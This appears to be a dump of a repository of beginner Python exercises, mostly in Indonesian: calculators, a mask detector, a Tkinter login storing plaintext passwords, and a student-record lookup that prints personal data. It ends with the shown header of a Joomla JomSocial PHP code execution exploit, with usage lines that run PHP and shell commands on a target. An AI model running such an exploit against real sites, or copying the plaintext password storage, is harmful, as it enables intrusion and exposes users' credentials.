: "))
6 | Luas = 0.5*A*B
7 | print(">> Luas Segitiga Adalah : "+ str(Luas))
8 | 
--------------------------------------------------------------------------------
/code/Masker Detection - Haar Cascade.py:
--------------------------------------------------------------------------------
  1 | import cv2
  2 | import winsound
  3 | import glob
  4 | 
  5 | 
  6 | """
  7 | Memanggil data training dari haarcascade
  8 | Data berupa wajah, mata, dan mulut.
  9 | """
 10 | DeteksiWajah = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
 11 | DeteksiMata = cv2.CascadeClassifier('haarcascade_eye.xml')
 12 | DeteksiMulut = cv2.CascadeClassifier('haarcascade_mcs_mouth.xml')
 13 | DeteksiMasker = cv2.CascadeClassifier('cascade.xml')
 14 | 
 15 | """
 16 | INISIALISASI DATA YANG AKAN DIGUNAKAN
 17 | Seperti nilai threshold yang dapat diatur sesuai tingkat cahaya yang ada, dari 80-105
 18 | 
 19 | """
 20 | bw_threshold = 90
 21 | 
 22 | font = cv2.FONT_HERSHEY_TRIPLEX
 23 | org = (22, 22)
 24 | warna_font_pakai_masker = (248,248,255)
 25 | warna_font_tidak_pakai_masker = (0, 0, 255)
 26 | thickness = 2
 27 | font_scale = 1
 28 | #peringatan ="JANGAN LUPA PAKAI MASKER"
 29 | pakai_masker = "TERIMA KASIH SUDAH MEMAKAI MASKER"
 30 | tidak_pakai_masker = "TOLONG PAKAI MASKER ANDA"
 31 | count = 0
 32 | positif = 0
 33 | negatif = 0
 34 | #files = glob.glob("dataset/p/*.jpg")
 35 | 
 36 | 
 37 | # Mengambil video dari kamera internal
 38 | cap = cv2.VideoCapture(0)
 39 | #cap = cv2.VideoCapture('2.mp4')
 40 | #img = cv2.imread("dataset/p/b1.jpg")
 41 | #img = cv2.resize(img1,(240,300))
 42 | 
 43 | """
 44 | OLAH VIDEO DIBAWAH INI
 45 | WHILE UNKOMEN
 46 | KLO OLAH FOTO/FOLDER
 47 | DI BAWAHNYA LAGI
 48 | """
 49 | while 1:
 50 | #for file in files:
 51 |     #olah video di bawah
 52 |     # Mengambil setiap frame
 53 |     ret, img = cap.read()
 54 |     img = cv2.flip(img,1)
 55 |     
 56 |     #olah gambar di bawah
 57 |     #img = cv2.imread("dataset/p/b1.jpg")
 58 |     #img = cv2.resize(img1,(240,300))
 59 |     # mengubah citra dari rgb ke gray
 60 |     gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
 61 | 
 62 |     # mengubah citra dari gray ke bw dengan parameter hasil konversi dan nilai threshold di atas
 63 |     (thresh, black_and_white) = cv2.threshold(gray, bw_threshold, 255, cv2.THRESH_BINARY)
 64 |     #cv2.imshow('black_and_white', black_and_white)
 65 | 
 66 |     # mendeteksi wajah
 67 |     faces = DeteksiWajah.detectMultiScale(gray, 1.1, 4)
 68 | 
 69 |     # mendeteksi wajah dalam hitam putih
 70 |     faces_bw = DeteksiWajah.detectMultiScale(black_and_white, 1.1, 4)
 71 | 
 72 |     #mendeteksi masker
 73 |     masker = DeteksiMasker.detectMultiScale(gray,1.2,4)
 74 |     
 75 |     #deteksi masker
 76 |     if(len(masker) ==1):
 77 |         cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA)
 78 |         #print (pakai_masker)
 79 |         positif +=1
 80 |         for (x, y, w, h) in masker:
 81 |             cv2.rectangle(img, (x, y), (x + w, y + h), (30, 255, 255), 2)
 82 |             roi_gray = gray[y:y + h, x:x + w]
 83 |             roi_color = img[y:y + h, x:x + w]
 84 |             #print("Image "+str(count)+"Tersimpan")
 85 |             #file='G:/Python/WPy64-3770/notebooks/DeteksiMasker/tersangka/kompre'+str(count)+'.jpg'
 86 |             #cv2.imwrite(file, img)
 87 |             count+=1
 88 |     #wajah tidak terdeteksi
 89 |     elif(len(faces) == 0 and len(faces_bw) == 0):
 90 |         cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA)
 91 |     elif(len(faces) == 0 and len(faces_bw) == 1):
 92 |         cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA)
 93 |     else:
 94 |         # Membuat kotak di wajah
 95 |         for (x, y, w, h) in faces:
 96 |             cv2.rectangle(img, (x, y), (x + w, y + h), (255, 255, 255), 2)
 97 |             roi_gray = gray[y:y + h, x:x + w]
 98 |             roi_color = img[y:y + h, x:x + w]
 99 | 
100 | 
101 |             # Deteksi Mulut
102 |             mouth_rects = DeteksiMulut.detectMultiScale(gray, 1.5, 5)
103 | 
104 |         # Wajah terdeteksi tapi mulut tidak, yang berarti menggunakan masker
105 |         if(len(mouth_rects) == 0):
106 |             cv2.putText(img, pakai_masker, org, font, font_scale, warna_font_pakai_masker, thickness, cv2.LINE_AA)
107 |             #print(pakai_masker)
108 |             #positif +=1
109 |         else:
110 |             for (mx, my, mw, mh) in mouth_rects:
111 |                 cv2.rectangle(img,(mx, my), (mx+w, my+h), (255, 20, 55), 2)
112 |                 roi_gray = gray[my:my + h, mx:mx + w]
113 |                 roi_color = img[my:my + h, mx:mx + w]
114 | 
115 |                 if(y < my < y + h):
116 |                     cv2.putText(img, tidak_pakai_masker, org, font, font_scale, warna_font_tidak_pakai_masker, thickness, cv2.LINE_AA)
117 |                     
118 |                     # memainkan audio peringatan yang bernama WOY.wav 
119 |                     #winsound.PlaySound('WOY.wav',winsound.SND_FILENAME)
120 |                     
121 |                     # menjepret sosok yang tidak memakai masker
122 |                     #print("Image "+str(count)+"Tersimpan")
123 |                     #file='G:/Python/WPy64-3770/notebooks/DeteksiMasker/tersangka/deteksi'+str(count)+'.jpg'
124 |                     #cv2.imwrite(file, img)
125 |                     count +=1
126 |                     #print(tidak_pakai_masker)
127 |                     #negatif +=1
128 | 
129 |                     #cv2.rectangle(img, (mx, my), (mx + mh, my + mw), (0, 0, 255), 3)
130 |                     break
131 | 
132 |     # Menampilkan frame beserta hasilnya
133 |     cv2.imshow('Mask Detection', img)
134 |     #print("Total Masker terdeteksi adalah: "+str(negatif))
135 |     k = cv2.waitKey(30) & 0xff
136 |     if k == 27:
137 |         break
138 | 
139 | # Tutup Video
140 | cap.release()
141 | cv2.destroyAllWindows()
142 | 
--------------------------------------------------------------------------------
/code/Palindrom.py:
--------------------------------------------------------------------------------
 1 | def cekpalindrom (teks) :
 2 |     list = []
 3 |     belakang = ''
 4 |     depan = ''
 5 |     indikator = True
 6 |     for i in range (len(teks)) :
 7 |         if teks[i] != ',' and teks[i] != '.' and teks[i] != "'" and teks[i] != '"' and teks[i] != '!' and teks[i] != '?' and teks[i] != ' ' :
 8 |             list.append(teks[i])
 9 |     while len(list) > 1 and indikator  :
10 |         depan += list.pop(0)
11 |         belakang += list.pop()
12 |         if belakang != depan :
13 |             indikator = False
14 |     if indikator :
15 |         print("kata ", teks, "adalah kata palyndrom.")
16 |     else :
17 |         print("kata ", teks, "bukan kata palyndrom.")
18 | 
19 | 
20 | a = input('masukkan teks : ')
21 | 
22 | print('hasil : ')
23 | cekpalindrom (a)
24 | 
--------------------------------------------------------------------------------
/code/Python Program to Calculate Area and Perimeter of a Rectangle:
--------------------------------------------------------------------------------
 1 | print("MENGHITUNG LUAS & KELILING PERSEGI PANJANG")
 2 | 
 3 | panjang = float(input("\nMasukan Panjang: "))
 4 | lebar = float(input("Masukan Lebar: "))
 5 | 
 6 | luas = panjang*lebar
 7 | keliling = 2 * (panjang+lebar)
 8 | 
 9 | print("\nLuas Persegi Panjang \t\t:",luas)
10 | print("Keliling Persegi Panjang\t:",keliling)
11 | 
--------------------------------------------------------------------------------
/code/Python User Login system(TechnoFrost27).py:
--------------------------------------------------------------------------------
  1 |  
  2 | #import modules
  3 |  
  4 | from tkinter import *
  5 | import os
  6 |  
  7 | # Designing window for registration
  8 |  
  9 | def register():
 10 |     global register_screen
 11 |     register_screen = Toplevel(main_screen)
 12 |     register_screen.title("Register")
 13 |     register_screen.geometry("300x250")
 14 |  
 15 |     global username
 16 |     global password
 17 |     global username_entry
 18 |     global password_entry
 19 |     username = StringVar()
 20 |     password = StringVar()
 21 |  
 22 |     Label(register_screen, text="Please enter details below", bg="blue").pack()
 23 |     Label(register_screen, text="").pack()
 24 |     username_lable = Label(register_screen, text="Username * ")
 25 |     username_lable.pack()
 26 |     username_entry = Entry(register_screen, textvariable=username)
 27 |     username_entry.pack()
 28 |     password_lable = Label(register_screen, text="Password * ")
 29 |     password_lable.pack()
 30 |     password_entry = Entry(register_screen, textvariable=password, show='*')
 31 |     password_entry.pack()
 32 |     Label(register_screen, text="").pack()
 33 |     Button(register_screen, text="Register", width=10, height=1, bg="blue", command = register_user).pack()
 34 |  
 35 |  
 36 | # Designing window for login 
 37 |  
 38 | def login():
 39 |     global login_screen
 40 |     login_screen = Toplevel(main_screen)
 41 |     login_screen.title("Login")
 42 |     login_screen.geometry("300x250")
 43 |     Label(login_screen, text="Please enter details below to login").pack()
 44 |     Label(login_screen, text="").pack()
 45 |  
 46 |     global username_verify
 47 |     global password_verify
 48 |  
 49 |     username_verify = StringVar()
 50 |     password_verify = StringVar()
 51 |  
 52 |     global username_login_entry
 53 |     global password_login_entry
 54 |  
 55 |     Label(login_screen, text="Username * ").pack()
 56 |     username_login_entry = Entry(login_screen, textvariable=username_verify)
 57 |     username_login_entry.pack()
 58 |     Label(login_screen, text="").pack()
 59 |     Label(login_screen, text="Password * ").pack()
 60 |     password_login_entry = Entry(login_screen, textvariable=password_verify, show= '*')
 61 |     password_login_entry.pack()
 62 |     Label(login_screen, text="").pack()
 63 |     Button(login_screen, text="Login", width=10, height=1, command = login_verify).pack()
 64 |  
 65 | # Implementing event on register button
 66 |  
 67 | def register_user():
 68 |  
 69 |     username_info = username.get()
 70 |     password_info = password.get()
 71 |  
 72 |     file = open(f"db/{username_info}", "w")
 73 |     file.write(username_info + "\n")
 74 |     file.write(password_info)
 75 |     file.close()
 76 |  
 77 |     username_entry.delete(0, END)
 78 |     password_entry.delete(0, END)
 79 |  
 80 |     Label(register_screen, text="Registration Success", fg="green", font=("calibri", 11)).pack()
 81 |  
 82 | # Implementing event on login button 
 83 |  
 84 | def login_verify():
 85 |     username1 = username_verify.get()
 86 |     password1 = password_verify.get()
 87 |     username_login_entry.delete(0, END)
 88 |     password_login_entry.delete(0, END)
 89 |  
 90 |     list_of_files = os.listdir()
 91 |     if username1 in list_of_files:
 92 |         file1 = open(f"db/{username1}", "r")
 93 |         verify = file1.read().splitlines()
 94 |         if password1 in verify:
 95 |             login_sucess()
 96 |  
 97 |         else:
 98 |             password_not_recognised()
 99 |  
100 |     else:
101 |         user_not_found()
102 |  
103 | # Designing popup for login success
104 |  
105 | def login_sucess():
106 |     global login_success_screen
107 |     login_success_screen = Toplevel(login_screen)
108 |     login_success_screen.title("Success")
109 |     login_success_screen.geometry("150x100")
110 |     Label(login_success_screen, text="Login Success").pack()
111 |     Button(login_success_screen, text="OK", command=delete_login_success).pack()
112 |  
113 | # Designing popup for login invalid password
114 |  
115 | def password_not_recognised():
116 |     global password_not_recog_screen
117 |     password_not_recog_screen = Toplevel(login_screen)
118 |     password_not_recog_screen.title("Success")
119 |     password_not_recog_screen.geometry("150x100")
120 |     Label(password_not_recog_screen, text="Invalid Password ").pack()
121 |     Button(password_not_recog_screen, text="OK", command=delete_password_not_recognised).pack()
122 |  
123 | # Designing popup for user not found
124 |  
125 | def user_not_found():
126 |     global user_not_found_screen
127 |     user_not_found_screen = Toplevel(login_screen)
128 |     user_not_found_screen.title("Success")
129 |     user_not_found_screen.geometry("150x100")
130 |     Label(user_not_found_screen, text="User Not Found").pack()
131 |     Button(user_not_found_screen, text="OK", command=delete_user_not_found_screen).pack()
132 |  
133 | # Deleting popups
134 |  
135 | def delete_login_success():
136 |     login_success_screen.destroy()
137 |  
138 |  
139 | def delete_password_not_recognised():
140 |     password_not_recog_screen.destroy()
141 |  
142 |  
143 | def delete_user_not_found_screen():
144 |     user_not_found_screen.destroy()
145 |  
146 |  
147 | # Designing Main(first) window
148 |  
149 | def main_account_screen():
150 |     global main_screen
151 |     main_screen = Tk()
152 |     main_screen.geometry("300x250")
153 |     main_screen.title("Account Login")
154 |     Label(text="Select Your Choice", bg="blue", width="300", height="2", font=("Calibri", 13)).pack()
155 |     Label(text="").pack()
156 |     Button(text="Login", height="2", width="30", command = login).pack()
157 |     Label(text="").pack()
158 |     Button(text="Register", height="2", width="30", command=register).pack()
159 |  
160 |     main_screen.mainloop()
161 |  
162 |  
163 | main_account_screen()
--------------------------------------------------------------------------------
/code/Radius-Circle (IND).py:
--------------------------------------------------------------------------------
1 | ''' PROGRAM HITUNG LUAS LINGKARAN'''
2 | print("=============================")
3 | print("PROGRAM HITUNG LUAS LINGKARAN")
4 | print("=============================")
5 | phi = 3.14
6 | r = float(input("MASUKKAN JARI JARI LINGKARAN: "))
7 | luas = phi*r*r
8 | print("Luas lingkaran adalah : "+ str(luas))
9 | 
--------------------------------------------------------------------------------
/code/Youtube Video Downloader/Youtube_Vid_Downloader.py:
--------------------------------------------------------------------------------
 1 | from pytube import YouTube
 2 | 
 3 | url = input("Enter the youtube link URL: ")
 4 | yt = YouTube(url)
 5 | 
 6 | print(f"Title: {yt.title}")
 7 | videos = yt.streams
 8 | 
 9 | for i,video in enumerate(videos):
10 |     print(f"{str(i)} {str(video)}")
11 | 
12 | num = int(input("Enter your choice: "))
13 | video = videos[num]
14 | print("Downloading the video. Please wait...")
15 | video.download()
--------------------------------------------------------------------------------
/code/Youtube Video Downloader/readme.md:
--------------------------------------------------------------------------------
1 | This is a youtube video downloader using python.
2 | 1. Run the `Youtube_Downloader.py` file.
3 | 2. Enter the video url.
4 | 3. The list of various formats, resolutions of video will appear.
5 | 4. Enter the number in front of the format, resolutioin you want to download.
6 | 5. It will take time as per your internet speed to download the video.
7 | 6. Video will be saved in the same directory.
--------------------------------------------------------------------------------
/code/avl-trees.py:
--------------------------------------------------------------------------------
  1 | ''' this code made by sl4shroot @rizkyy12 '''
  2 | 
  3 | from tkinter import *
  4 | import copy
  5 | 
  6 | 
  7 | class Node:
  8 | 
  9 |     def __init__(self, data):
 10 | 
 11 |         self.kiri = None
 12 |         self.kanan = None
 13 |         self.data = data
 14 |         self.parent = None
 15 | 
 16 | 
 17 |     def lookup(self, data, parent=None):
 18 | 
 19 |         if data < self.data:
 20 |             if self.kiri is None:
 21 |                 return None, None
 22 |             return self.kiri.lookup(data, self)
 23 |         elif data > self.data:
 24 |             if self.kanan is None:
 25 |                 return None, None
 26 |             return self.kanan.lookup(data, self)
 27 |         else:
 28 |             return self, parent
 29 |     # memperbarui parents
 30 |     def refresh_parents(self):
 31 |         if self.kiri:
 32 |             self.kiri.parent = self
 33 |             self.kiri.refresh_parents()
 34 |         if self.kanan:
 35 |             self.kanan.parent = self
 36 |             self.kanan.refresh_parents()
 37 | 
 38 |     def delete(self, data):
 39 | 
 40 |         # dapatkan node yang berisi data
 41 |         node, parent = self.lookup(data)
 42 |         if node is not None:
 43 |             children_count = node.children_count()
 44 |         if children_count == 0:
 45 |             # Jika simpul tidak memiliki anak, hapus saja
 46 |             if parent:
 47 |                 if parent.kiri is node:
 48 |                     parent.kiri = None
 49 |                 else:
 50 |                     parent.kanan = None
 51 |                 del node
 52 |             else:
 53 |                 self.data = None
 54 |         elif children_count == 1:
 55 |             # Jika simpul memiliki 1 anak
 56 |             # Temukan penggantinya
 57 |             if node.kiri:
 58 |                 n = node.kiri
 59 |             else:
 60 |                 n = node.kanan
 61 |             if parent:
 62 |                 n.parent = parent
 63 |                 if parent.kiri is node:
 64 |                     parent.kiri = n
 65 |                 else:
 66 |                     parent.kanan = n
 67 |                 del node
 68 |             else:
 69 |                 self.kiri = n.kiri
 70 |                 if self.kiri:
 71 |                     self.kiri.parent = self
 72 |                 self.kanan = n.kanan
 73 |                 if self.kanan:
 74 |                     self.kanan.parent = self
 75 |                 self.data = n.data
 76 |                 self.parent = n.parent
 77 |         else:
 78 |             # Jika simpul memiliki 2 anak
 79 |             # Temukan penggantinya
 80 |             parent = node
 81 |             successor = node.kanan
 82 |             while successor.kiri:
 83 |                 parent = successor
 84 |                 successor = successor.kiri
 85 |             # Ganti data node dgn data penggantinya
 86 |             node.data = successor.data
 87 |             # memperbaikin successor anak
 88 |             if parent.kiri == successor:
 89 |                 parent.kiri = successor.kanan
 90 |                 if parent.kiri:
 91 |                     successor.right.parent = parent
 92 |             else:
 93 |                 parent.kanan = successor.kanan
 94 |                 if parent.kanan:
 95 |                     parent.kanan.parent = parent
 96 | 
 97 |     def print_tree(self):
 98 |         if self.kiri:
 99 |             self.kiri.print_tree()
100 |         print(self.data),
101 |         if self.kanan:
102 |             self.kanan.print_tree()
103 | 
104 |     def count_levels(self):
105 |         lcount = 0
106 |         rcount = 0
107 |         if self.kiri:
108 |             lcount = self.kiri.count_levels()
109 |         if self.kanan:
110 |             rcount = self.kanan.count_levels()
111 |         return 1 + max(lcount, rcount)
112 |         print(self.data)
113 | 
114 |     def insert(self, data):
115 |         if self.data:
116 |             if data < self.data:
117 |                 if self.kiri is None:
118 |                     self.kiri = Node(data)
119 |                     self.kiri.parent = self
120 |                 else:
121 |                     self.kiri.insert(data)
122 |             elif data > self.data:
123 |                 if self.kanan is None:
124 |                     self.kanan = Node(data)
125 |                     self.kanan.parent = self
126 |                 else:
127 |                     self.kanan.insert(data)
128 |         else:
129 |             self.data = data
130 |     
131 | 
132 |     def get_coords(self, x, y, sw, sh):
133 |         tosend = [[x, y, self.data]]
134 |         if self.kiri:
135 |             tosend = tosend + (self.kiri.get_coords(x - sw / 2, y + sh, sw / 2, sh))
136 |         if self.kanan:
137 |             tosend = tosend + (self.kanan.get_coords(x + sw / 2, y + sh, sw / 2, sh))
138 |         return tosend
139 | 
140 |     def get_lines(self, x, y, sw, sh):
141 |         tosend = []
142 |         if self.kiri:
143 |             l = self.kiri.get_coords(x - sw / 2, y + sh, sw / 2, sh)
144 |             tosend = tosend + [[x, y, l[0][0], l[0][1]]]
145 |             tosend = tosend + self.kiri.get_lines(x - sw / 2, y + sh, sw / 2, sh)
146 |         if self.kanan:
147 |             r = self.kanan.get_coords(x + sw / 2, y + sh, sw / 2, sh)
148 |             tosend = tosend + [[x, y, r[0][0], r[0][1]]]
149 |             tosend = tosend + self.kanan.get_lines(x + sw / 2, y + sh, sw / 2, sh)
150 |         return tosend
151 | 
152 |     def show_tree(self):
153 |         h = self.count_levels()
154 |         w = 2 ** (h - 1)
155 |         sh = 512 * 1.25
156 |         sw = 512 * 1.5
157 |         r = sw / w / 2
158 |         if r >=10:
159 |             r = 10
160 |         window = Tk()
161 |         window.title("AVL Tree")  # set judul
162 |         canvas = Canvas(window, width=sw + 100, height=sh + 100, bg="white")
163 |         canvas.pack()
164 |         sh = int((sh - 2 * h * r) / (h))
165 |         toshow = self.get_lines(50 + sw / 2, 50 + r, sw / 2, sh)
166 |         headlabel = Label(window, text = 'welcome to distance time calculator', 
167 |                       fg = 'black', bg = "red")
168 |         for i in toshow:
169 |             x1 = i[0]
170 |             y1 = i[1]
171 |             x2 = i[2]
172 |             y2 = i[3]
173 |             canvas.create_line(x1, y1, x2, y2)
174 |         toshow = self.get_coords(50 + sw / 2, 50 + r, sw / 2, sh)
175 |         for i in toshow:
176 |             x = i[0]
177 |             y = i[1]
178 |             text = i[2]
179 |             if r == 10:
180 |                 canvas.create_oval(x - r, y - r, x + r, y + r, fill="white")
181 |             canvas.create_text(x, y, text=text) 
182 | 
183 |         window.mainloop()
184 | 
--------------------------------------------------------------------------------
/code/bimaexz.py:
--------------------------------------------------------------------------------
 1 | # Menyelesaikan persamaan kuadrat ax2 + bx + c = 0
 2 | 
 3 | # import module matematika math
 4 | import math
 5 | 
 6 | # Input koefisien dari keyboard
 7 | a = int(input('Masukkan a: '))
 8 | b = int(input('Masukkan b: '))
 9 | c = int(input('Masukkan c: '))
10 | 
11 | # hitung diskriminan d
12 | d = (b**2) - (4*a*c)
13 | 
14 | # menemukan x1 dan x2
15 | x1 = (-b+math.sqrt(d))/(2*a)
16 | x2 = (-b-math.sqrt(d))/(2*a)
17 | 
18 | print('Solusinya adalah {0} dan {1}'.format(x1, x2))
19 | 
--------------------------------------------------------------------------------
/code/efanwahyu.py:
--------------------------------------------------------------------------------
 1 | num = 12
 2 | if num > 1:
 3 |  for i in range(2,num):
 4 |   if (num % i) == 0:
 5 |     print(num, "bukan bilangan prima")
 6 |     print(i, "kali", num//i, "=", num)
 7 |     break
 8 |   else:
 9 |     print(num,"adalah bilangan prima")
10 | else:
11 |     print(num, "bukan bilangan prima")
12 | 
--------------------------------------------------------------------------------
/code/factorial.py:
--------------------------------------------------------------------------------
1 | 
2 | x,factorial = int(input("Enter a number: ")),1
3 | for n in range(x):
4 |     factorial *= (n+1)
5 | print("Factorial of",x,"is",str(factorial))
6 | 
7 | 
8 | 
9 | 
--------------------------------------------------------------------------------
/code/factors.py:
--------------------------------------------------------------------------------
1 | 
2 | n = int(input("Enter a number: "))
3 | factors = "1"
4 | for x in range(2,n+1):
5 |     if n%x == 0:
6 |         factors += (","+str(x))
7 | print("Factors of",n,"are",factors)
8 | 
9 | 
--------------------------------------------------------------------------------
/code/fibonacci.py:
--------------------------------------------------------------------------------
 1 | d1 = 0
 2 | d2 = 1
 3 | 
 4 | n = int(input("Masukkan batas deret : "))
 5 | for i in range(n):
 6 |   print(d1, end=' ')
 7 |   cn = d2 + d1
 8 |   d1 = d2
 9 |   d2 = cn
10 | 
--------------------------------------------------------------------------------
/code/hello.py:
--------------------------------------------------------------------------------
1 | if 5 > 2:
2 |   print("Five is greater than two!")
3 |   print("Hello")
4 |   print('Hello')
5 | 
--------------------------------------------------------------------------------
/code/inherit.py:
--------------------------------------------------------------------------------
 1 | class Employee:
 2 |     #classvariable
 3 |     raise_amount = 1.05
 4 |     
 5 |     def __init__(self, name, email, pay):
 6 |         self.name = name
 7 |         self.email = email + '@company.com'
 8 |         self.pay = pay
 9 |         
10 |     def showInfo(self):
11 |         return '{} {}'.format(self.name, self.email)
12 |         #return print(f'Nama: {self.name}, email: {self.email}, pay: {self.pay}')
13 |     
14 |     def apply_raise(self):
15 |         self.pay = int(self.pay*Employee.raise_amount)
16 | 
17 | class Developer(Employee):
18 |     raise_amount = 1.5
19 |         
20 |     def __init__(self, name, email, pay, rule):
21 |         super().__init__(name, email, pay)
22 |         self.rule = rule
23 |                 
24 | class Manager(Employee):
25 |     def __init__(self, name, email, pay, employees=None):
26 |         super().__init__(name, email, pay)
27 |         if employees is None:
28 |             self.employees = []
29 |         else:
30 |             self.employees = employees
31 |     
32 |     def add_emp(self, emp):
33 |         if emp not in self.employees:
34 |             self.employees.append(emp)
35 |     
36 |     def remove_emp(self, emp):
37 |         if emp in self.employees:
38 |             self.employees.remove(emp)
39 |             
40 |     def print_emp(self):
41 |         for emp in self.employees:
42 |             print('-->', emp.name)
43 |             
44 | dev1 = Developer('Rizky Andhika Akbar','rizkyandikaakbar', 100000, 'Software Engineer')
45 | 
46 | mng1 = Manager('Andreas', 'andreashinot', '60000', [dev1])
47 | #print(mng1.email)
48 | #mng1.add_emp(dev2)
49 | #mng1.add_emp(dev3)
50 | #mng1.remove_emp(dev2)
51 | #mng1.remove_emp(dev3)
52 | #mng1.print_emp()
53 | 
--------------------------------------------------------------------------------
/code/mahasiswa.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python3
 2 | # usage    : ./mahasiswa.py -m [NAMA/NIM]
 3 | 
 4 | import re, sys, requests, argparse, json
 5 | 
 6 | print (''' _	 _			 
 7 | |_|___ _| |___ _ _ ___ 
 8 | | |   | . | -_|_'_| -_|
 9 | |_|_|_|___|___|_,_|___|
10 |           codelatte.net
11 | ''')
12 | 
13 | parser = argparse.ArgumentParser()
14 | parser.add_argument('-m', '--mahasiswa', required=True, help="Name/NIM")
15 | args = parser.parse_args()
16 | 
17 | def mahasiswaDetail(keyword):
18 | 	print(keyword)
19 | 
20 | def mahasiswa(keyword):
21 | 	print('Searching for "' + keyword + '"\n')
22 | 	headers = {
23 | 		'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36',
24 | 	}
25 | 
26 | 	x = requests.get("https://api-frontend.kemdikbud.go.id/hit_mhs/" + keyword, headers=headers).text
27 | 	output = json.loads(x)
28 | 
29 | 	for s in output['mahasiswa']:
30 | 		if "Cari kata kunci" in s['text']:
31 | 			print("Not found!")
32 | 		else:
33 | 			code = s['website-link'].split('/')[2]
34 | 			get_detail = requests.get("https://api-frontend.kemdikbud.go.id/detail_mhs/" + code, headers=headers).text
35 | 			details = json.loads(get_detail)
36 | 			detail = json.dumps(details['dataumum'])
37 | 			detail_data = json.loads(detail)
38 | 			
39 | 			if (keyword.isdecimal()):
40 | 				print("Name\t\t: " + detail_data['nm_pd'] + "\nNIPD\t\t: " + detail_data['nipd'] + "\nLembaga\t\t: " + detail_data['namapt'] + "\nJenjang\t\t: " + detail_data['namajenjang'] + "\nProdi\t\t: " + detail_data['namaprodi'] + "\nSemester Awal\t: " + detail_data['mulai_smt'][:-1] + "\nURL\t\t: https://pddikti.kemdikbud.go.id/data_mahasiswa/" + code + "\n")
41 | 			else:
42 | 				if keyword.lower() in detail_data['nm_pd'].lower():
43 | 					print("Name\t\t: " + detail_data['nm_pd'] + "\nNIPD\t\t: " + detail_data['nipd'] + "\nLembaga\t\t: " + detail_data['namapt'] + "\nJenjang\t\t: " + detail_data['namajenjang'] + "\nProdi\t\t: " + detail_data['namaprodi'] + "\nSemester Awal\t: " + detail_data['mulai_smt'][:-1] + "\nLulus\t\t: " + str(detail_data['ket_keluar']) + "\nTanggal Keluar\t: " + str(detail_data['tgl_keluar']) + "\nNo. Ijazah\t: " + str(detail_data['no_seri_ijazah']) + "\n")
44 | 	
45 | if args.mahasiswa:
46 | 	mahasiswa(args.mahasiswa)
47 | 
--------------------------------------------------------------------------------
/code/prime.py:
--------------------------------------------------------------------------------
 1 | 
 2 | n = int(input("Enter a number: "))
 3 | statement = "is a prime number."
 4 | for x in range(2,n):
 5 |     if n%x == 0:
 6 |         statement = 'is not a prime number.'
 7 | print(n,statement)
 8 | 
 9 | 
10 | 
11 | 
--------------------------------------------------------------------------------
/code/pyramid1.py:
--------------------------------------------------------------------------------
1 | 
2 | for n in range(1,5):
3 |     for x in range(n):
4 |         print(x+1,end="")
5 |     print("")
6 | 
7 | 
8 | 
--------------------------------------------------------------------------------
/code/pyramid2.py:
--------------------------------------------------------------------------------
1 | 
2 | for n in range(1,5):
3 |     for x in range(n):
4 |         print(n,end="")
5 |     print("")
6 | 
7 | 
8 | 
9 | 
--------------------------------------------------------------------------------
/code/rand_x_number.py:
--------------------------------------------------------------------------------
 1 | from random import randint
 2 | 
 3 | def rand_x_number(n):
 4 |     range_start = 10**(n-1)
 5 |     range_end = (10**n)-1
 6 |     return randint(range_start, range_end)
 7 | 
 8 | digit = input('Digit: ')
 9 | 
10 | try:
11 |     int_digit = int(digit)
12 |     print(rand_x_number(int_digit))
13 | except:
14 |     print('Invalid Digit')
--------------------------------------------------------------------------------
/code/random_dice.py:
--------------------------------------------------------------------------------
 1 | from random import choice
 2 | 
 3 | while True:
 4 |     dadu1 = choice(range(1,7))
 5 |     dadu2 = choice(range(1,7))
 6 |     print('Dadu pertama anda adalah {}'.format(dadu1))
 7 |     print('Dadu kedua anda adalah {}'.format(dadu2))
 8 |     print('Jumlah dadu anda adalah {}'.format(dadu1+dadu2))
 9 |     
10 |     while True:
11 |         lagi = input('Apakah akan mengocok dadu lagi? (ya/tidak): ')
12 |         if lagi.lower() in ['ya','tidak']:
13 |             break
14 |     else:
15 |         continue
16 |     
17 |     if lagi.lower() == 'ya':
18 |         continue
19 |     elif lagi.lower() == 'tidak':
20 |         break
21 | 
--------------------------------------------------------------------------------
/code/reddit.py:
--------------------------------------------------------------------------------
1 | import feedparser, time
2 | 
3 | subreddits = ["reddit.com/r/python/new.rss"]#subreddits so display titles from
4 | while True:
5 |     for sub in subreddits:
6 |         feed = feedparser.parse(sub)
7 |         for entry in feed.entries:
8 |             print(entry['title'])#print post title
9 |             time.wait(60)#wait 60 seconds to fetch new posts
--------------------------------------------------------------------------------
/code/replacevowel.py:
--------------------------------------------------------------------------------
1 | txt,mod = input('Enter some text: '),""
2 | for x in txt:
3 |     if x in 'aeiouAEIOU':mod += '*'
4 |     else:mod += x
5 | print('Modified string =',mod)
--------------------------------------------------------------------------------
/code/reverse.py:
--------------------------------------------------------------------------------
1 | txt = input('Enter some text: ')
2 | reversed = []
3 | for x in txt:
4 |     reversed.insert(0,x)
5 | print("Reversed string: ",''.join(reversed))
--------------------------------------------------------------------------------
/code/riodelord.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # Joomla! JomSocial component >= 2.6 PHP code execution exploit
  4 | #
  5 | # Authors:
  6 | #   - Matias Fontanini
  7 | #   - Gaston Traberg
  8 | #
  9 | # This exploit allows the execution of PHP code without any prior 
 10 | # authentication on the Joomla! JomSocial component.
 11 | #
 12 | # Note that in order to be able to execute PHP code, both the "eval" 
 13 | # and "assert" functions must be enabled. It is also possible to execute
 14 | # arbitrary PHP functions, without using them. Therefore, it is possible
 15 | # to execute shell commands using "system", "passthru", etc, as long
 16 | # as they are enabled.
 17 | #
 18 | # Examples:
 19 | #
 20 | # Execute PHP code:
 21 | # ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"
 22 | # ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php
 23 | # 
 24 | # Execute shell commands(using system()):
 25 | # ./exploit.py -u http://example.com/index.php -s "netstat -n"
 26 | #
